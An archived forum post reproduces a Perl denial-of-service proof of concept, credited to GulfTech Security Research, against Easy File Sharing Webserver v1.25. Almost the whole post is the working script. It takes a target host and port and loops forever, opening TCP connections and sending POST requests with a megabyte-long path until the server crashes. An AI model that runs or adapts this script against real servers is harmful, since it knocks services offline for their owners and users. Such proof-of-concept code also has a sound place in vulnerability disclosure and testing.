Easy File Sharing Webserver V1.25 Denial Of Servic

Full Version: Easy File Sharing Webserver V1.25 Denial Of Servic

GovernmentSecurity.org > The Archives > Exploit Articles

nowhere

Sep 5 2004, 10:22 AM

QUOTE

#!/usr/bin/perl
#####################################################
# Easy File Sharing Webserver v1.25 Denial Of Servic
# Proof Of Concept Code By GulfTech Security Research
#####################################################
# Easy File Sharing Webserver v1.25 will consume 99%
# of CPU usage until it crashes when sent large req's
#####################################################

use IO::Socket;

print "=====================================================\n".
" Easy File Sharing Webserver v1.25 Denial Of Service \n".
"=====================================================\n";

unless (@ARGV > 1) { die("usage: efswsdos.pl host port"); }

my $remote_host = $ARGV[0];
my $remote_port = $ARGV[1];
my $done = "\015\012\015\012";
my $buff = "A" x 1000000;
my $post = "POST /".$buff." HTTP/1.0 ".$done;

print "[*] DoS'ing Server $remote_host Press ctrl+c to stop\n";

while ($post) {
for (my $i=1; $i<10; $i++) {
my $i = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $remote_host,
PeerPort => $remote_port,
Timeout => '10000',
Type => SOCK_STREAM,
) || die("[*] Server Is Dead!");

print $i $post;
$i->autoflush(1);
}
}
close $i;

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.